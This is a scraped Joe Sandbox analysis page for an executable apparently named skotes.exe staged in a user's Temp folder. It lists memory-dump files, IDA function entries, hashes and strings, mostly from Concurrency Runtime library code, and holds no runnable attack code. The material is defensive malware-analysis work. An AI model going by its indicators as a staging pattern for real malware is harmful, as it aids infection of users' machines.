Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 9f776555ad1738a297c643d2eb87f19a9acf4a36e3c2317eeef5fdaa796b6af9
Instruction ID: 422e124d8a07db57c069010f49c98bdf414390e98ab10e64d80f6d389c598ab4
Opcode Fuzzy Hash: 9f776555ad1738a297c643d2eb87f19a9acf4a36e3c2317eeef5fdaa796b6af9
Instruction Fuzzy Hash: 0C21E535B006159BCB14AB68D895AFDB3A7BF96334F04012AE4118B3D1CBB4E9428AD8

Function 0063DFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0063DFE8
6c, xrefs: 0063E034

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6c$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1795404442
Opcode ID: 74029dcd9ec177b409cd406918f1cbb9da04039de9cb1c1feb4fe8c2af28461f
Instruction ID: 3c70f3d43a283e86b2dcf4aa34945515a304425c9b1a67b684bbd59c04a2c5e3
Opcode Fuzzy Hash: 74029dcd9ec177b409cd406918f1cbb9da04039de9cb1c1feb4fe8c2af28461f
Instruction Fuzzy Hash: C221927160420DAFDB78AE659C80EAB77AFEF10364F104518F924962D1EBB2EC1087F0

Function 0062AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0062AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0062AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0062AF4E

Strings

pExecutionResource, xrefs: 0062AF07

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 0b19d28806ce126890bf0f624ea8d316ca591a8f68f0dd1e5ed76f6e4ebc8c47
Instruction ID: 0790657b4375e0c48a3820fc76911280d26ca420cc7355237ada6781fbe6aa5a
Opcode Fuzzy Hash: 0b19d28806ce126890bf0f624ea8d316ca591a8f68f0dd1e5ed76f6e4ebc8c47
Instruction Fuzzy Hash: EA21D571A402059BCB48EFA4C982BEDB7A7BF48310F14406DE501AB382DBB0AE44CB95

Function 00624EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00624F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00624F66

Strings

count, xrefs: 00624EBA
ppVirtualProcessorRoots, xrefs: 00624F1C

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 924434ae03371d47c515508939b33fdc189c51f885775aee274e35c9e1f23c96
Instruction ID: 192ec963e2f9b3809b3ccd5154da1dd3db5425479d6c1faf84fcdfc2c6ba78c2
Opcode Fuzzy Hash: 924434ae03371d47c515508939b33fdc189c51f885775aee274e35c9e1f23c96
Instruction Fuzzy Hash: 8221CF34600A25EFCB14EFA8D991EAD77B6BF88311F00406DE9069B691DF71AE01CF55

Function 0062B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0062BA0E

Strings

RoInitialize, xrefs: 0062B998
RoUninitialize, xrefs: 0062B9C1
combase.dll, xrefs: 0062B983, 0062B988, 0062B99D, 0062B9C8

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
